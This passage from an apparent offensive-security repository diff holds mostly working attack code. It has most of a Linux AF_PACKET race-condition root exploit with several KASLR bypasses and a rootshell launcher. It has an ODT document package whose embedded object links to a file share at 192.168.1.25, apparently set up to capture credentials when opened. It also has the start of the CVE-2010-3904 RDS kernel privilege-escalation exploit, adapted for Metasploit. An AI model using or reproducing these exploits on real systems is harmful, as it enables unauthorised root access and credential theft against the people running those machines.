sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
if (stat(SYSCTL_PATH, &b) == 0) {
|
||||
dprintf("[~] sysctl added!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not add sysctl\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
int status;
|
||||
int pid;
|
||||
|
||||
retry:
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
try_exploit(func, arg, verification_func);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
wait(&status);
|
||||
|
||||
dprintf("\n");
|
||||
|
||||
if (WEXITSTATUS(status) == 2) {
|
||||
dprintf("[.] retrying stage...\n");
|
||||
kill(pid, 9);
|
||||
sleep(2);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (WEXITSTATUS(status) != 0) {
|
||||
dprintf("[-] something bad happened, aborting exploit attempt\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
|
||||
void wrapper(void)
|
||||
{
|
||||
struct ctl_table *c;
|
||||
|
||||
dprintf("[.] making vsyscall page writable...\n\n");
|
||||
|
||||
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
|
||||
|
||||
dprintf("[~] done, stage 1 completed\n");
|
||||
|
||||
sleep(5);
|
||||
|
||||
dprintf("[.] registering new sysctl...\n\n");
|
||||
|
||||
c = (struct ctl_table *)(VSYSCALL+0x850);
|
||||
|
||||
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
|
||||
|
||||
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
|
||||
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
|
||||
c->procname = (char *)(VSYSCALL+0xf00);
|
||||
c->mode = 0666;
|
||||
c->proc_handler = (void *)(PROC_DOSTRING);
|
||||
c->data = (void *)(MODPROBE_PATH);
|
||||
c->maxlen = 256;
|
||||
c->extra1 = (void *)(VSYSCALL+0xe00);
|
||||
c->extra2 = (void *)(VSYSCALL+0xd00);
|
||||
|
||||
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
|
||||
|
||||
dprintf("[~] done, stage 2 completed\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[512];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
else
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void launch_rootshell(void)
|
||||
{
|
||||
int fd;
|
||||
char buf[256];
|
||||
struct stat s;
|
||||
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(buf, '\x00', 256);
|
||||
|
||||
readlink("/proc/self/exe", (char *)&buf, 256);
|
||||
|
||||
write(fd, buf, strlen(buf)+1);
|
||||
|
||||
socket(AF_INET, SOCK_STREAM, 132);
|
||||
|
||||
if (stat(buf,&s) == 0 && s.st_uid == 0) {
|
||||
dprintf("[+] binary executed by kernel, launching rootshell\n");
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
write(fd, "/sbin/modprobe", 15);
|
||||
close(fd);
|
||||
execl(buf, buf, NULL);
|
||||
} else {
|
||||
dprintf("[-] could not create rootshell\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
chmod("/proc/self/exe", 06755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (getuid() != 0 && geteuid() == 0) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execl("/bin/bash", "bash", "-p", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
|
||||
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
|
||||
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
|
||||
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
wrapper();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
launch_rootshell();
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2"><office:scripts/><office:font-face-decls><style:font-face style:name="Lucida Sans1" svg:font-family="'Lucida Sans'" style:font-family-generic="swiss"/><style:font-face style:name="Liberation Serif" svg:font-family="'Liberation Serif'" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Liberation Sans" svg:font-family="'Liberation Sans'" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Lucida Sans" svg:font-family="'Lucida Sans'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles><style:style style:name="fr1" style:family="graphic" style:parent-style-name="OLE"><style:graphic-properties style:horizontal-pos="center" style:horizontal-rel="paragraph" draw:ole-draw-aspect="1"/></style:style></office:automatic-styles><office:body><office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/><text:p text:style-name="Standard"><draw:frame draw:style-name="fr1" draw:name="Object1" text:anchor-type="paragraph" svg:width="14.101cm" svg:height="9.999cm" draw:z-index="0"><draw:object xlink:href="file://192.168.1.25/test.jpg" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/><draw:image xlink:href="./ObjectReplacements/Object 1" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/></draw:frame></text:p></office:text></office:body></office:document-content>
|
||||
@@ -0,0 +1,18 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="styles.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="content.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
||||
@@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
|
||||
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
|
||||
<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
|
||||
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
|
||||
</manifest:manifest>
|
||||
@@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" office:version="1.2"><office:meta><meta:initial-creator>RD_PENTEST</meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>RD_PENTEST</dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:creation-date>2018-05-10T20:29:41.398000000</meta:creation-date><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0" meta:non-whitespace-character-count="0"/><meta:generator>LibreOffice/6.0.3.2$Windows_X86_64 LibreOffice_project/8f48d515416608e3a835360314dac7e47fd0b821</meta:generator></office:meta></office:document-meta>
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
|
After Width: | Height: | Size: 729 B |
@@ -0,0 +1,288 @@
|
||||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
